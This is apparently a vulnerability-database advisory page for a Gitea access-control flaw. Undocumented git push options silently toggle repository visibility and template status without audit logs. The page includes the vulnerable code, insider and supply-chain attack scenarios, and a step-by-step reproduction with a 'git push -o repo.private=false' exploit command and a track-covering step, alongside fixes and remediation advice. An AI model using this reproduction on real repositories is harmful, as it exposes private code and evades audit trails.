Skip to main content

Gitea CVE-2026-58437

| EUVDEUVD-2026-58164 HIGH
Improper Access Control (CWE-284)
2026-07-21 https://github.com/go-gitea/gitea GHSA-8p9h-49rc-qgxj
7.1
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
Share

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY
7.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
vuln.today AI
7.1 HIGH

Requires repo owner/admin-collaborator role (PR:L) over the Git network protocol with low complexity; flipping a private repo public fully exposes its contents (C:H), while integrity impact is limited to toggling settings flags (I:L).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative
Red Hat
7.1 HIGH
qualitative

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 21, 2026 - 21:36 vuln.today
Analysis Generated
Jul 21, 2026 - 21:36 vuln.today
CVE Published
Jul 21, 2026 - 21:02 github-advisory
HIGH 7.1

DescriptionCVE.org

Repository Visibility Manipulation via Git Push Options

FieldValue
Affected Filerouters/private/hook_post_receive.go
Affected FunctionHookPostReceive()
Affected Lines173-225
PrerequisiteAttacker must have owner-level or admin collaborator access to the target repository

---

Description

Gitea's post-receive git hook handler processes git push options - key-value pairs transmitted by a client during git push using the -o flag. Two undocumented push options, repo.private and repo.template, allow any user with repository owner or admin-collaborator access to toggle the visibility (private/public) and template status of a repository as a side effect of a normal git push.

This capability was originally intended solely for the "push-to-create" feature (automatically creating a repo on first push). However, the options are processed without restriction on already-existing repositories, and - critically - the visibility change bypasses every control that a proper settings change would trigger:

  • No entry written to the repository's audit/activity log
  • No webhook event fired (repository event with visibility_changed action)
  • No org-level notification to owners
  • No team permission re-calculation
  • No email alert to watchers
  • The database update uses UpdateRepositoryColsNoAutoTime, which also suppresses the updated_at timestamp change

---

Vulnerable Code

routers/private/hook_post_receive.go:173-225

go
isPrivate  := opts.GitPushOptions.Bool(private.GitPushOptionRepoPrivate)  // "repo.private"
isTemplate := opts.GitPushOptions.Bool(private.GitPushOptionRepoTemplate) // "repo.template"

if isPrivate.Has() || isTemplate.Has() {
    // ... loads repo and verifies pusher is owner or admin ...
    if !perm.IsOwner() && !perm.IsAdmin() {
        ctx.JSON(http.StatusNotFound, ...)
        return
    }

    // FIXME: these options are not quite right, for example: changing visibility
    //        should do more works than just setting the is_private flag
    // These options should only be used for "push-to-create"
    if isPrivate.Has() && repo.IsPrivate != isPrivate.Value() {
        // TODO: it needs to do more work
        repo.IsPrivate = isPrivate.Value()
        repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private")
        //         ^^^ bypasses updated_at timestamp, audit trail suppressed
    }
    if isTemplate.Has() && repo.IsTemplate != isTemplate.Value() {
        repo.IsTemplate = isTemplate.Value()
        repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_template")
    }
}

The push option constants are defined in modules/private/pushoptions.go:18-19:

go
GitPushOptionRepoPrivate  = "repo.private"
GitPushOptionRepoTemplate = "repo.template"

---

Attack Scenario

Scenario A - Insider threat / rogue admin collaborator

An organization grants a contractor repo admin access to contribute to a private repository containing proprietary source code. The contractor, before their access is revoked, makes a private repo public for several minutes - long enough to clone, archive, or index the content - then makes it private again. The action leaves no audit trail distinguishable from a normal git push.

Scenario B - Supply-chain template poisoning

A repository marked as a template is used by CI/CD pipelines to generate new project repositories. An admin collaborator uses repo.template=false to silently remove the template designation, then makes changes to the repo's content, re-marks it as a template with repo.template=true, and waits for downstream consumers to regenerate projects from the now-backdoored template. The updated_at timestamp is unchanged due to UpdateRepositoryColsNoAutoTime, making diff-detection harder.

---

Step-by-Step Reproduction

Prerequisites:

  • A Gitea user account with either owner or admin-collaborator access to a private repository
  • git client with push access to the repository

---

Step 1 - Confirm the target repository is private

---

Step 2 - Clone the repository

bash
git clone http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git /tmp/target-repo
cd /tmp/target-repo

---

Step 3 - Make any commit *(the push option rides on a real push)*

bash
echo "$(date)" >> .gitkeep
git add .gitkeep
git commit -m "routine update"

---

Step 4 - Execute the exploit push

bash
# Make the repository public
git push http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git main \
  -o repo.private=false
# The push completes with a normal success message:
#   remote: Processed 1 references in total
#   To http://<gitea-host>/OWNER/REPO.git
#      abc1234..def5678  main -> main

---

Step 5 - Verify the repository is now public

---

Step 6 - Restore and cover tracks

Re-make it private in the same session, leaving no visible audit trail

The repository activity feed shows only two normal push events. The visibility change is invisible.

Verification: confirm no activity log entry

---

Impact Details
ImpactDescription
Data exfiltrationPrivate source code, CI/CD secrets in plain-text files, environment configs become publicly cloneable for the window the repo is public
No audit trailUpdateRepositoryColsNoAutoTime suppresses the updated_at change; no activity log entry; no webhook; no notification
Supply chainCombined with repo.template=true/false, an attacker can silently rotate repository template status, affecting all downstream repositories that generate from this template
ScopeAffects all repos where the attacker has admin-collaborator access - not only repos they own

---

Recommended Fix

Option 1 (preferred) - Remove the options from post-receive hook entirely. The repo.private and repo.template push options were designed for the push-to-create flow and have no legitimate use on existing repositories. They should be gated with:

go
// routers/private/hook_post_receive.go
if isPrivate.Has() || isTemplate.Has() {
    if !wasEmpty {
        // repo already existed - refuse these options on established repos
        log.Warn("Repo push options repo.private/repo.template ignored for existing repo %s", repoName)
        // do not process
    } else {
        // original push-to-create path only
        ...
    }
}

Option 2 - Route through the full visibility-change service so that audit events, webhooks, and team re-syncs are triggered:

go
// Instead of the raw UpdateRepositoryColsNoAutoTime call:
if err := repo_service.UpdateRepositoryVisibility(ctx, repo, isPrivate.Value()); err != nil {
    ...
}

Where UpdateRepositoryVisibility fires the repository webhook event and writes an activity log entry.

AnalysisAI

Repository visibility and template status in Gitea (self-hosted Git service) before 1.27.0 can be silently toggled by any repository owner or admin-collaborator through undocumented git push options (repo.private, repo.template) processed by the post-receive hook, bypassing all audit logging, webhooks, and notifications. An insider can flip a private repository to public long enough to clone proprietary code, then revert it, leaving only two ordinary push events in the activity feed. No CISA KEV listing and no separately published exploit tool exist, but the GHSA advisory ships full working reproduction commands, and the CVSS 3.1 base score is 7.1 (High).

Technical ContextAI

Gitea is a lightweight, self-hosted Git service written in Go (package code.gitea.io/gitea). The flaw lives in routers/private/hook_post_receive.go, function HookPostReceive() (lines 173-225), which parses git push options - key/value pairs a client sends via git push -o. Two constants defined in modules/private/pushoptions.go (GitPushOptionRepoPrivate = "repo.private", GitPushOptionRepoTemplate = "repo.template") were intended only for the push-to-create flow but are honored on already-existing repositories. Because the state change is written via repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private"), it directly mutates the is_private/is_template columns without routing through the visibility-change service, so no audit entry, no repository webhook (visibility_changed action), no team permission recalculation, and not even the updated_at timestamp is touched. This maps to CWE-284 (Improper Access Control): a privileged-but-scoped operation performed through a code path that omits the authorization side effects and controls the equivalent settings operation would enforce.

RemediationAI

Vendor-released patch: 1.27.0 - upgrade all Gitea instances to 1.27.0 or later, per GHSA-8p9h-49rc-qgxj (https://github.com/go-gitea/gitea/security/advisories/GHSA-8p9h-49rc-qgxj) and https://github.com/go-gitea/gitea/releases/tag/v1.27.0. If you cannot upgrade immediately, the practical compensating control is to tightly restrict who holds owner or admin-collaborator roles on sensitive private repositories, since only those roles can trigger the abuse (trade-off: this constrains legitimate delegated administration). Because the change fires no webhook and no activity-log entry, you cannot detect it from Gitea's normal audit trail; as an interim detection measure, monitor the repositories.is_private and is_template columns directly at the database level or via periodic API polling of repository visibility, and alert on unexpected transitions (trade-off: added operational overhead and possible false positives from legitimate settings changes). The upstream fix follows the recommended approach of refusing these push options on already-existing repositories (or routing them through the full UpdateRepositoryVisibility service that emits audit events and webhooks).

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

CVE-2022-0905 HIGH POC
7.1 Mar 10

Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-58437 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy